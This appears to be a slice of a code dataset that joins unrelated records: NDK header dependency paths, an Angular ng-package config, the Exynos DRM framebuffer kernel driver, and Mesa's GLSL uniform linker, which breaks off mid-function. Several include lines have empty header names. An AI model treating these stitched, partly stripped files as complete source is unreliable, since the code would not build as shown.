/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/compiler.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm/posix_types.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm/types.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/types.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/machine/kernel.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/sysmacros.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/stdlib.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/string.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/malloc.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/alloca.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/strings.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/memory.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/unistd.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/select.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/time.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/time.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/signal.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/limits.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/limits.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/limits.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/machine/internal_types.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/machine/limits.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/syslimits.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm/page.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm/signal.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm-generic/signal.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm/siginfo.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm-generic/siginfo.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/ucontext.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/user.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/asm/sigcontext.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/sys/sysconf.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/linux/capability.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/pathconf.h:\n\n/home/aliray/tools/android-ndk-r10e/platforms/android-3/arch-arm/usr/include/dlfcn.h:\n"} +{"text": "{\n \"$schema\": \"../../node_modules/ng-packagr/ng-package.schema.json\",\n \"dest\": \"../../dist/libs/xaml-codegen\",\n \"lib\": {\n \"entryFile\": \"src/index.ts\"\n }\n}\n"} +{"text": "/* exynos_drm_fbdev.c\n *\n * Copyright (c) 2011 Samsung Electronics Co., Ltd.\n * Authors:\n *\tInki Dae \n *\tJoonyoung Shim \n *\tSeung-Woo Kim \n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by the\n * Free Software Foundation; either version 2 of the License, or (at your\n * option) any later version.\n */\n\n#include \n#include \n#include \n#include \n#include \n\n#include \"exynos_drm_drv.h\"\n#include \"exynos_drm_fb.h\"\n#include \"exynos_drm_fbdev.h\"\n#include \"exynos_drm_iommu.h\"\n\n#define MAX_CONNECTOR\t\t4\n#define PREFERRED_BPP\t\t32\n\n#define to_exynos_fbdev(x)\tcontainer_of(x, struct exynos_drm_fbdev,\\\n\t\t\t\tdrm_fb_helper)\n\nstruct exynos_drm_fbdev {\n\tstruct drm_fb_helper\tdrm_fb_helper;\n\tstruct exynos_drm_gem\t*exynos_gem;\n};\n\nstatic int exynos_drm_fb_mmap(struct fb_info *info,\n\t\t\tstruct vm_area_struct *vma)\n{\n\tstruct drm_fb_helper *helper = info->par;\n\tstruct exynos_drm_fbdev *exynos_fbd = to_exynos_fbdev(helper);\n\tstruct exynos_drm_gem *exynos_gem = exynos_fbd->exynos_gem;\n\tunsigned long vm_size;\n\tint ret;\n\n\tvma->vm_flags |= VM_IO | VM_DONTEXPAND | VM_DONTDUMP;\n\n\tvm_size = vma->vm_end - vma->vm_start;\n\n\tif (vm_size > exynos_gem->size)\n\t\treturn -EINVAL;\n\n\tret = dma_mmap_attrs(to_dma_dev(helper->dev), vma, exynos_gem->cookie,\n\t\t\t exynos_gem->dma_addr, exynos_gem->size,\n\t\t\t exynos_gem->dma_attrs);\n\tif (ret < 0) {\n\t\tDRM_ERROR(\"failed to mmap.\\n\");\n\t\treturn ret;\n\t}\n\n\treturn 0;\n}\n\nstatic struct fb_ops exynos_drm_fb_ops = {\n\t.owner\t\t= THIS_MODULE,\n\tDRM_FB_HELPER_DEFAULT_OPS,\n\t.fb_mmap = exynos_drm_fb_mmap,\n\t.fb_fillrect\t= drm_fb_helper_cfb_fillrect,\n\t.fb_copyarea\t= drm_fb_helper_cfb_copyarea,\n\t.fb_imageblit\t= drm_fb_helper_cfb_imageblit,\n};\n\nstatic int exynos_drm_fbdev_update(struct drm_fb_helper *helper,\n\t\t\t\t struct drm_fb_helper_surface_size *sizes,\n\t\t\t\t struct exynos_drm_gem *exynos_gem)\n{\n\tstruct fb_info *fbi;\n\tstruct drm_framebuffer *fb = helper->fb;\n\tunsigned int size = fb->width * fb->height * fb->format->cpp[0];\n\tunsigned int nr_pages;\n\tunsigned long offset;\n\n\tfbi = drm_fb_helper_alloc_fbi(helper);\n\tif (IS_ERR(fbi)) {\n\t\tDRM_ERROR(\"failed to allocate fb info.\\n\");\n\t\treturn PTR_ERR(fbi);\n\t}\n\n\tfbi->par = helper;\n\tfbi->flags = FBINFO_FLAG_DEFAULT;\n\tfbi->fbops = &exynos_drm_fb_ops;\n\n\tdrm_fb_helper_fill_fix(fbi, fb->pitches[0], fb->format->depth);\n\tdrm_fb_helper_fill_var(fbi, helper, sizes->fb_width, sizes->fb_height);\n\n\tnr_pages = exynos_gem->size >> PAGE_SHIFT;\n\n\texynos_gem->kvaddr = (void __iomem *) vmap(exynos_gem->pages, nr_pages,\n\t\t\t\tVM_MAP, pgprot_writecombine(PAGE_KERNEL));\n\tif (!exynos_gem->kvaddr) {\n\t\tDRM_ERROR(\"failed to map pages to kernel space.\\n\");\n\t\tdrm_fb_helper_release_fbi(helper);\n\t\treturn -EIO;\n\t}\n\n\toffset = fbi->var.xoffset * fb->format->cpp[0];\n\toffset += fbi->var.yoffset * fb->pitches[0];\n\n\tfbi->screen_base = exynos_gem->kvaddr + offset;\n\tfbi->screen_size = size;\n\tfbi->fix.smem_len = size;\n\n\treturn 0;\n}\n\nstatic int exynos_drm_fbdev_create(struct drm_fb_helper *helper,\n\t\t\t\t struct drm_fb_helper_surface_size *sizes)\n{\n\tstruct exynos_drm_fbdev *exynos_fbdev = to_exynos_fbdev(helper);\n\tstruct exynos_drm_gem *exynos_gem;\n\tstruct drm_device *dev = helper->dev;\n\tstruct drm_mode_fb_cmd2 mode_cmd = { 0 };\n\tstruct platform_device *pdev = dev->platformdev;\n\tunsigned long size;\n\tint ret;\n\n\tDRM_DEBUG_KMS(\"surface width(%d), height(%d) and bpp(%d\\n\",\n\t\t\tsizes->surface_width, sizes->surface_height,\n\t\t\tsizes->surface_bpp);\n\n\tmode_cmd.width = sizes->surface_width;\n\tmode_cmd.height = sizes->surface_height;\n\tmode_cmd.pitches[0] = sizes->surface_width * (sizes->surface_bpp >> 3);\n\tmode_cmd.pixel_format = drm_mode_legacy_fb_format(sizes->surface_bpp,\n\t\t\t\t\t\t\t sizes->surface_depth);\n\n\tsize = mode_cmd.pitches[0] * mode_cmd.height;\n\n\texynos_gem = exynos_drm_gem_create(dev, EXYNOS_BO_CONTIG, size);\n\t/*\n\t * If physically contiguous memory allocation fails and if IOMMU is\n\t * supported then try to get buffer from non physically contiguous\n\t * memory area.\n\t */\n\tif (IS_ERR(exynos_gem) && is_drm_iommu_supported(dev)) {\n\t\tdev_warn(&pdev->dev, \"contiguous FB allocation failed, falling back to non-contiguous\\n\");\n\t\texynos_gem = exynos_drm_gem_create(dev, EXYNOS_BO_NONCONTIG,\n\t\t\t\t\t\t size);\n\t}\n\n\tif (IS_ERR(exynos_gem))\n\t\treturn PTR_ERR(exynos_gem);\n\n\texynos_fbdev->exynos_gem = exynos_gem;\n\n\thelper->fb =\n\t\texynos_drm_framebuffer_init(dev, &mode_cmd, &exynos_gem, 1);\n\tif (IS_ERR(helper->fb)) {\n\t\tDRM_ERROR(\"failed to create drm framebuffer.\\n\");\n\t\tret = PTR_ERR(helper->fb);\n\t\tgoto err_destroy_gem;\n\t}\n\n\tret = exynos_drm_fbdev_update(helper, sizes, exynos_gem);\n\tif (ret < 0)\n\t\tgoto err_destroy_framebuffer;\n\n\treturn ret;\n\nerr_destroy_framebuffer:\n\tdrm_framebuffer_cleanup(helper->fb);\nerr_destroy_gem:\n\texynos_drm_gem_destroy(exynos_gem);\n\n\t/*\n\t * if failed, all resources allocated above would be released by\n\t * drm_mode_config_cleanup() when drm_load() had been called prior\n\t * to any specific driver such as fimd or hdmi driver.\n\t */\n\n\treturn ret;\n}\n\nstatic const struct drm_fb_helper_funcs exynos_drm_fb_helper_funcs = {\n\t.fb_probe =\texynos_drm_fbdev_create,\n};\n\nstatic bool exynos_drm_fbdev_is_anything_connected(struct drm_device *dev)\n{\n\tstruct drm_connector *connector;\n\tbool ret = false;\n\n\tmutex_lock(&dev->mode_config.mutex);\n\tlist_for_each_entry(connector, &dev->mode_config.connector_list, head) {\n\t\tif (connector->status != connector_status_connected)\n\t\t\tcontinue;\n\n\t\tret = true;\n\t\tbreak;\n\t}\n\tmutex_unlock(&dev->mode_config.mutex);\n\n\treturn ret;\n}\n\nint exynos_drm_fbdev_init(struct drm_device *dev)\n{\n\tstruct exynos_drm_fbdev *fbdev;\n\tstruct exynos_drm_private *private = dev->dev_private;\n\tstruct drm_fb_helper *helper;\n\tint ret;\n\n\tif (!dev->mode_config.num_crtc || !dev->mode_config.num_connector)\n\t\treturn 0;\n\n\tif (!exynos_drm_fbdev_is_anything_connected(dev))\n\t\treturn 0;\n\n\tfbdev = kzalloc(sizeof(*fbdev), GFP_KERNEL);\n\tif (!fbdev)\n\t\treturn -ENOMEM;\n\n\tprivate->fb_helper = helper = &fbdev->drm_fb_helper;\n\n\tdrm_fb_helper_prepare(dev, helper, &exynos_drm_fb_helper_funcs);\n\n\tret = drm_fb_helper_init(dev, helper, MAX_CONNECTOR);\n\tif (ret < 0) {\n\t\tDRM_ERROR(\"failed to initialize drm fb helper.\\n\");\n\t\tgoto err_init;\n\t}\n\n\tret = drm_fb_helper_single_add_all_connectors(helper);\n\tif (ret < 0) {\n\t\tDRM_ERROR(\"failed to register drm_fb_helper_connector.\\n\");\n\t\tgoto err_setup;\n\n\t}\n\n\tret = drm_fb_helper_initial_config(helper, PREFERRED_BPP);\n\tif (ret < 0) {\n\t\tDRM_ERROR(\"failed to set up hw configuration.\\n\");\n\t\tgoto err_setup;\n\t}\n\n\treturn 0;\n\nerr_setup:\n\tdrm_fb_helper_fini(helper);\n\nerr_init:\n\tprivate->fb_helper = NULL;\n\tkfree(fbdev);\n\n\treturn ret;\n}\n\nstatic void exynos_drm_fbdev_destroy(struct drm_device *dev,\n\t\t\t\t struct drm_fb_helper *fb_helper)\n{\n\tstruct exynos_drm_fbdev *exynos_fbd = to_exynos_fbdev(fb_helper);\n\tstruct exynos_drm_gem *exynos_gem = exynos_fbd->exynos_gem;\n\tstruct drm_framebuffer *fb;\n\n\tvunmap(exynos_gem->kvaddr);\n\n\t/* release drm framebuffer and real buffer */\n\tif (fb_helper->fb && fb_helper->fb->funcs) {\n\t\tfb = fb_helper->fb;\n\t\tif (fb)\n\t\t\tdrm_framebuffer_remove(fb);\n\t}\n\n\tdrm_fb_helper_unregister_fbi(fb_helper);\n\tdrm_fb_helper_release_fbi(fb_helper);\n\n\tdrm_fb_helper_fini(fb_helper);\n}\n\nvoid exynos_drm_fbdev_fini(struct drm_device *dev)\n{\n\tstruct exynos_drm_private *private = dev->dev_private;\n\tstruct exynos_drm_fbdev *fbdev;\n\n\tif (!private || !private->fb_helper)\n\t\treturn;\n\n\tfbdev = to_exynos_fbdev(private->fb_helper);\n\n\texynos_drm_fbdev_destroy(dev, private->fb_helper);\n\tkfree(fbdev);\n\tprivate->fb_helper = NULL;\n}\n\nvoid exynos_drm_fbdev_restore_mode(struct drm_device *dev)\n{\n\tstruct exynos_drm_private *private = dev->dev_private;\n\n\tif (!private || !private->fb_helper)\n\t\treturn;\n\n\tdrm_fb_helper_restore_fbdev_mode_unlocked(private->fb_helper);\n}\n\nvoid exynos_drm_output_poll_changed(struct drm_device *dev)\n{\n\tstruct exynos_drm_private *private = dev->dev_private;\n\tstruct drm_fb_helper *fb_helper = private->fb_helper;\n\n\tif (fb_helper)\n\t\tdrm_fb_helper_hotplug_event(fb_helper);\n\telse\n\t\texynos_drm_fbdev_init(dev);\n}\n"} +{"text": "/*\n * Copyright © 2011 Intel Corporation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n */\n\n#include \"ir.h\"\n#include \"linker.h\"\n#include \"ir_uniform.h\"\n#include \"glsl_symbol_table.h\"\n#include \"program.h\"\n#include \"string_to_uint_map.h\"\n#include \"ir_array_refcount.h\"\n#include \"main/mtypes.h\"\n\n/**\n * \\file link_uniforms.cpp\n * Assign locations for GLSL uniforms.\n *\n * \\author Ian Romanick \n */\n\n/**\n * Used by linker to indicate uniforms that have no location set.\n */\n#define UNMAPPED_UNIFORM_LOC ~0u\n\nvoid\nprogram_resource_visitor::process(const glsl_type *type, const char *name,\n bool use_std430_as_default)\n{\n assert(type->without_array()->is_record()\n || type->without_array()->is_interface());\n\n unsigned record_array_count = 1;\n char *name_copy = ralloc_strdup(NULL, name);\n\n enum glsl_interface_packing packing =\n type->get_internal_ifc_packing(use_std430_as_default);\n\n recursion(type, &name_copy, strlen(name), false, NULL, packing, false,\n record_array_count, NULL);\n ralloc_free(name_copy);\n}\n\nvoid\nprogram_resource_visitor::process(ir_variable *var, bool use_std430_as_default)\n{\n unsigned record_array_count = 1;\n const bool row_major =\n var->data.matrix_layout == GLSL_MATRIX_LAYOUT_ROW_MAJOR;\n\n enum glsl_interface_packing packing = var->get_interface_type() ?\n var->get_interface_type()->\n get_internal_ifc_packing(use_std430_as_default) :\n var->type->get_internal_ifc_packing(use_std430_as_default);\n\n const glsl_type *t =\n var->data.from_named_ifc_block ? var->get_interface_type() : var->type;\n const glsl_type *t_without_array = t->without_array();\n\n /* false is always passed for the row_major parameter to the other\n * processing functions because no information is available to do\n * otherwise. See the warning in linker.h.\n */\n if (t_without_array->is_record() ||\n (t->is_array() && t->fields.array->is_array())) {\n char *name = ralloc_strdup(NULL, var->name);\n recursion(var->type, &name, strlen(name), row_major, NULL, packing,\n false, record_array_count, NULL);\n ralloc_free(name);\n } else if (t_without_array->is_interface()) {\n char *name = ralloc_strdup(NULL, t_without_array->name);\n const glsl_struct_field *ifc_member = var->data.from_named_ifc_block ?\n &t_without_array->\n fields.structure[t_without_array->field_index(var->name)] : NULL;\n\n recursion(t, &name, strlen(name), row_major, NULL, packing,\n false, record_array_count, ifc_member);\n ralloc_free(name);\n } else {\n this->set_record_array_count(record_array_count);\n this->visit_field(t, var->name, row_major, NULL, packing, false);\n }\n}\n\nvoid\nprogram_resource_visitor::recursion(const glsl_type *t, char **name,\n size_t name_length, bool row_major,\n const glsl_type *record_type,\n const enum glsl_interface_packing packing,\n bool last_field,\n unsigned record_array_count,\n const glsl_struct_field *named_ifc_member)\n{\n /* Records need to have each field processed individually.\n *\n * Arrays of records need to have each array element processed\n * individually, then each field of the resulting array elements processed\n * individually.\n */\n if (t->is_interface() && named_ifc_member) {\n ralloc_asprintf_rewrite_tail(name, &name_length, \".%s\",\n named_ifc_member->name);\n recursion(named_ifc_member->type, name, name_length, row_major, NULL,\n packing, false, record_array_count, NULL);\n } else if (t->is_record() || t->is_interface()) {\n if (record_type == NULL && t->is_record())\n record_type = t;\n\n if (t->is_record())\n this->enter_record(t, *name, row_major, packing);\n\n for (unsigned i = 0; i < t->length; i++) {\n const char *field = t->fields.structure[i].name;\n size_t new_length = name_length;\n\n if (t->is_interface() && t->fields.structure[i].offset != -1)\n this->set_buffer_offset(t->fields.structure[i].offset);\n\n /* Append '.field' to the current variable name. */\n if (name_length == 0) {\n ralloc_asprintf_rewrite_tail(name, &new_length, \"%s\", field);\n } else {\n ralloc_asprintf_rewrite_tail(name, &new_length, \".%s\", field);\n }\n\n /* The layout of structures at the top level of the block is set\n * during parsing. For matrices contained in multiple levels of\n * structures in the block, the inner structures have no layout.\n * These cases must potentially inherit the layout from the outer\n * levels.\n */\n bool field_row_major = row_major;\n const enum glsl_matrix_layout matrix_layout =\n glsl_matrix_layout(t->fields.structure[i].matrix_layout);\n if (matrix_layout == GLSL_MATRIX_LAYOUT_ROW_MAJOR) {\n field_row_major = true;\n } else if (matrix_layout == GLSL_MATRIX_LAYOUT_COLUMN_MAJOR) {\n field_row_major = false;\n }\n\n recursion(t->fields.structure[i].type, name, new_length,\n field_row_major,\n record_type,\n packing,\n (i + 1) == t->length, record_array_count, NULL);\n\n /* Only the first leaf-field of the record gets called with the\n * record type pointer.\n */\n record_type = NULL;\n }\n\n if (t->is_record()) {\n (*name)[name_length] = '\\0';\n this->leave_record(t, *name, row_major, packing);\n }\n } else if (t->without_array()->is_record() ||\n t->without_array()->is_interface() ||\n (t->is_array() && t->fields.array->is_array())) {\n if (record_type == NULL && t->fields.array->is_record())\n record_type = t->fields.array;\n\n unsigned length = t->length;\n\n /* Shader storage block unsized arrays: add subscript [0] to variable\n * names.\n */\n if (t->is_unsized_array())\n length = 1;\n\n record_array_count *= length;\n\n for (unsigned i = 0; i < length; i++) {\n size_t new_length = name_length;\n\n /* Append the subscript to the current variable name */\n ralloc_asprintf_rewrite_tail(name, &new_length, \"[%u]\", i);\n\n recursion(t->fields.array, name, new_length, row_major,\n record_type,\n packing,\n (i + 1) == t->length, record_array_count,\n named_ifc_member);\n\n /* Only the first leaf-field of the record gets called with the\n * record type pointer.\n */\n record_type = NULL;\n }\n } else {\n this->set_record_array_count(record_array_count);\n this->visit_field(t, *name, row_major, record_type, packing, last_field);\n }\n}\n\nvoid\nprogram_resource_visitor::enter_record(const glsl_type *, const char *, bool,\n const enum glsl_interface_packing)\n{\n}\n\nvoid\nprogram_resource_visitor::leave_record(const glsl_type *, const char *, bool,\n const enum glsl_interface_packing)\n{\n}\n\nvoid\nprogram_resource_visitor::set_buffer_offset(unsigned)\n{\n}\n\nvoid\nprogram_resource_visitor::set_record_array_count(unsigned)\n{\n}\n\nnamespace {\n\n/**\n * Class to help calculate the storage requirements for a set of uniforms\n *\n * As uniforms are added to the active set the number of active uniforms and\n * the storage requirements for those uniforms are accumulated. The active\n * uniforms are added to the hash table supplied to the constructor.\n *\n * If the same uniform is added multiple times (i.e., once for each shader\n * target), it will only be accounted once.\n */\nclass count_uniform_size : public program_resource_visitor {\npublic:\n count_uniform_size(struct string_to_uint_map *map,\n struct string_to_uint_map *hidden_map,\n bool use_std430_as_default)\n : num_active_uniforms(0), num_hidden_uniforms(0), num_values(0),\n num_shader_samplers(0), num_shader_images(0),\n num_shader_uniform_components(0), num_shader_subroutines(0),\n is_buffer_block(false), is_shader_storage(false), map(map),\n hidden_map(hidden_map), current_var(NULL),\n use_std430_as_default(use_std430_as_default)\n {\n /* empty */\n }\n\n void start_shader()\n {\n this->num_shader_samplers = 0;\n this->num_shader_images = 0;\n this->num_shader_uniform_components = 0;\n this->num_shader_subroutines = 0;\n }\n\n void process(ir_variable *var)\n {\n this->current_var = var;\n this->is_buffer_block = var->is_in_buffer_block();\n this->is_shader_storage = var->is_in_shader_storage_block();\n if (var->is_interface_instance())\n program_resource_visitor::process(var->get_interface_type(),\n var->get_interface_type()->name,\n use_std430_as_default);\n else\n program_resource_visitor::process(var, use_std430_as_default);\n }\n\n /**\n * Total number of active uniforms counted\n */\n unsigned num_active_uniforms;\n\n unsigned num_hidden_uniforms;\n\n /**\n * Number of data values required to back the storage for the active uniforms\n */\n unsigned num_values;\n\n /**\n * Number of samplers used\n */\n unsigned num_shader_samplers;\n\n /**\n * Number of images used\n */\n unsigned num_shader_images;\n\n /**\n * Number of uniforms used in the current shader\n */\n unsigned num_shader_uniform_components;\n\n /**\n * Number of subroutine uniforms used\n */\n unsigned num_shader_subroutines;\n\n bool is_buffer_block;\n bool is_shader_storage;\n\n struct string_to_uint_map *map;\n\nprivate:\n virtual void visit_field(const glsl_type *type, const char *name,\n bool /* row_major */,\n const glsl_type * /* record_type */,\n const enum glsl_interface_packing,\n bool /* last_field */)\n {\n assert(!type->without_array()->is_record());\n assert(!type->without_array()->is_interface());\n assert(!(type->is_array() && type->fields.array->is_array()));\n\n /* Count the number of samplers regardless of whether the uniform is\n * already in the hash table. The hash table prevents adding the same\n * uniform for multiple shader targets, but in this case we want to\n * count it for each shader target.\n */\n const unsigned values = type->component_slots();\n if (type->contains_subroutine()) {\n this->num_shader_subroutines += values;\n } else if (type->contains_sampler() && !current_var->data.bindless) {\n /* Samplers (bound or bindless) are counted as two components as\n * specified by ARB_bindless_texture. */\n this->num_shader_samplers += values / 2;\n } else if (type->contains_image() && !current_var->data.bindless) {\n /* Images (bound or bindless) are counted as two components as\n * specified by ARB_bindless_texture. */\n this->num_shader_images += values / 2;\n\n /* As drivers are likely to represent image uniforms as\n * scalar indices, count them against the limit of uniform\n * components in the default block. The spec allows image\n * uniforms to use up no more than one scalar slot.\n */\n if (!is_shader_storage)\n this->num_shader_uniform_components += values;\n } else {\n /* Accumulate the total number of uniform slots used by this shader.\n * Note that samplers do not count against this limit because they\n * don't use any storage on current hardware.\n */\n if (!is_buffer_block)\n this->num_shader_uniform_components += values;\n }\n\n /* If the uniform is already in the map, there's nothing more to do.\n */\n unsigned id;\n if (this->map->get(id, name))\n return;\n\n if (this->current_var->data.how_declared == ir_var_hidden) {\n this->hidden_map->put(this->num_hidden_uniforms, name);\n this->num_hidden_uniforms++;\n } else {\n this->map->put(this->num_active_uniforms-this->num_hidden_uniforms,\n name);\n }\n\n /* Each leaf uniform occupies one entry in the list of active\n * uniforms.\n */\n this->num_active_uniforms++;\n\n if(!is_gl_identifier(name) && !is_shader_storage && !is_buffer_block)\n this->num_values += values;\n }\n\n struct string_to_uint_map *hidden_map;\n\n /**\n * Current variable being processed.\n */\n ir_variable *current_var;\n\n bool use_std430_as_default;\n};\n\n} /* anonymous namespace */\n\nunsigned\nlink_calculate_matrix_stride(const glsl_type *matrix, bool row_major,\n enum glsl_interface_packing packing)\n{\n const unsigned N = matrix->is_double() ? 8 : 4;\n const unsigned items =\n row_major ? matrix->matrix_columns : matrix->vector_elements;\n\n assert(items <= 4);\n\n /* Matrix stride for std430 mat2xY matrices are not rounded up to\n * vec4 size.\n *\n * Section 7.6.2.2 \"Standard Uniform Block Layout\" of the OpenGL 4.3 spec\n * says:\n *\n * 2. If the member is a two- or four-component vector with components\n * consuming N basic machine units, the base alignment is 2N or 4N,\n * respectively.\n * ...\n * 4. If the member is an array of scalars or vectors, the base\n * alignment and array stride are set to match the base alignment of\n * a single array element, according to rules (1), (2), and (3), and\n * rounded up to the base alignment of a vec4.\n * ...\n * 7. If the member is a row-major matrix with C columns and R rows, the\n * matrix is stored identically to an array of R row vectors with C\n * components each, according to rule (4).\n * ...\n *\n * When using the std430 storage layout, shader storage blocks will be\n * laid out in buffer storage identically to uniform and shader storage\n * blocks using the std140 layout, except that the base alignment and\n * stride of arrays of scalars and vectors in rule 4 and of structures\n * in rule 9 are not rounded up a multiple of the base alignment of a\n * vec4.\n */\n return packing == GLSL_INTERFACE_PACKING_STD430\n ? (items < 3 ? items * N : glsl_align(items * N, 16))\n : glsl_align(items * N, 16);\n}\n\n/**\n * Class to help parcel out pieces of backing storage to uniforms\n *\n * Each uniform processed has some range of the \\c gl_constant_value\n * structures associated with it. The association is done by finding\n * the uniform in the \\c string_to_uint_map and using the value from\n * the map to connect that slot in the \\c gl_uniform_storage table\n * with the next available slot in the \\c gl_constant_value array.\n *\n * \\warning\n * This class assumes that every uniform that will be processed is\n * already in the \\c string_to_uint_map. In addition, it assumes that\n * the \\c gl_uniform_storage and \\c gl_constant_value arrays are \"big\n * enough.\"\n */\nclass parcel_out_uniform_storage : public program_resource_visitor {\npublic:\n parcel_out_uniform_storage(struct gl_shader_program *prog,\n struct string_to_uint_map *map,\n struct gl_uniform_storage *uniforms,\n union gl_constant_value *values,\n bool use_std430_as_default)\n : prog(prog), map(map), uniforms(uniforms),\n use_std430_as_default(use_std430_as_default), values(values),\n bindless_targets(NULL), bindless_access(NULL)\n {\n }\n\n virtual ~parcel_out_uniform_storage()\n {\n free(this->bindless_targets);\n free(this->bindless_access);\n }\n\n void start_shader(gl_shader_stage shader_type)\n {\n assert(shader_type < MESA_SHADER_STAGES);\n this->shader_type = shader_type;\n\n this->shader_samplers_used = 0;\n this->shader_shadow_samplers = 0;\n this->next_sampler = 0;\n this->next_image = 0;\n this->next_subroutine = 0;\n this->record_array_count = 1;\n memset(this->targets, 0, sizeof(this->targets));\n\n this->num_bindless_samplers = 0;\n this->next_bindless_sampler = 0;\n free(this->bindless_targets);\n this->bindless_targets = NULL;\n\n this->num_bindless_images = 0;\n this->next_bindless_image = 0;\n free(this->bindless_access);\n this->bindless_access = NULL;\n }\n\n void set_and_process(ir_variable *var)\n {\n current_var = var;\n field_counter = 0;\n this->record_next_sampler = new string_to_uint_map;\n this->record_next_bindless_sampler = new string_to_uint_map;\n this->record_next_image = new string_to_uint_map;\n this->record_next_bindless_image = new string_to_uint_map;\n\n buffer_block_index = -1;\n if (var->is_in_buffer_block()) {\n struct gl_uniform_block *blks = var->is_in_shader_storage_block() ?\n prog->data->ShaderStorageBlocks : prog->data->UniformBlocks;\n unsigned num_blks = var->is_in_shader_storage_block() ?\n prog->data->NumShaderStorageBlocks : prog->data->NumUniformBlocks;\n\n if (var->is_interface_instance() && var->type->is_array()) {\n unsigned l = strlen(var->get_interface_type()->name);\n\n for (unsigned i = 0; i < num_blks; i++) {\n if (strncmp(var->get_interface_type()->name, blks[i].Name, l)\n == 0 && blks[i].Name[l] == '[') {\n buffer_block_index = i;\n break;\n }\n }\n } else {\n for (unsigned i = 0; i < num_blks; i++) {\n if (strcmp(var->get_interface_type()->name, blks[i].Name) == 0) {\n buffer_block_index = i;\n break;\n }\n }\n }\n assert(buffer_block_index != -1);\n\n /* Uniform blocks that were specified with an instance name must be\n * handled a little bit differently. The name of the variable is the\n * name used to reference the uniform block instead of being the name\n * of a variable within the block. Therefore, searching for the name\n * within the block will fail.\n */\n if (var->is_interface_instance()) {\n ubo_byte_offset = 0;\n process(var->get_interface_type(),\n var->get_interface_type()->name,\n use_std430_as_default);\n } else {\n const struct gl_uniform_block *const block =\n &blks[buffer_block_index];\n\n assert(var->data.location != -1);\n\n const struct gl_uniform_buffer_variable *const ubo_var =\n &block->Uniforms[var->data.location];\n\n ubo_byte_offset = ubo_var->Offset;\n process(var, use_std430_as_default);\n }\n } else {\n /* Store any explicit location and reset data location so we can\n * reuse this variable for storing the uniform slot number.\n */\n this->explicit_location = current_var->data.location;\n current_var->data.location = -1;\n\n process(var, use_std430_as_default);\n }\n delete this->record_next_sampler;\n delete this->record_next_bindless_sampler;\n delete this->record_next_image;\n delete this->record_next_bindless_image;\n }\n\n int buffer_block_index;\n int ubo_byte_offset;\n gl_shader_stage shader_type;\n\nprivate:\n bool set_opaque_indices(const glsl_type *base_type,\n struct gl_uniform_storage *uniform,\n const char *name, unsigned &next_index,\n struct string_to_uint_map *record_next_index)\n {\n assert(base_type->is_sampler() || 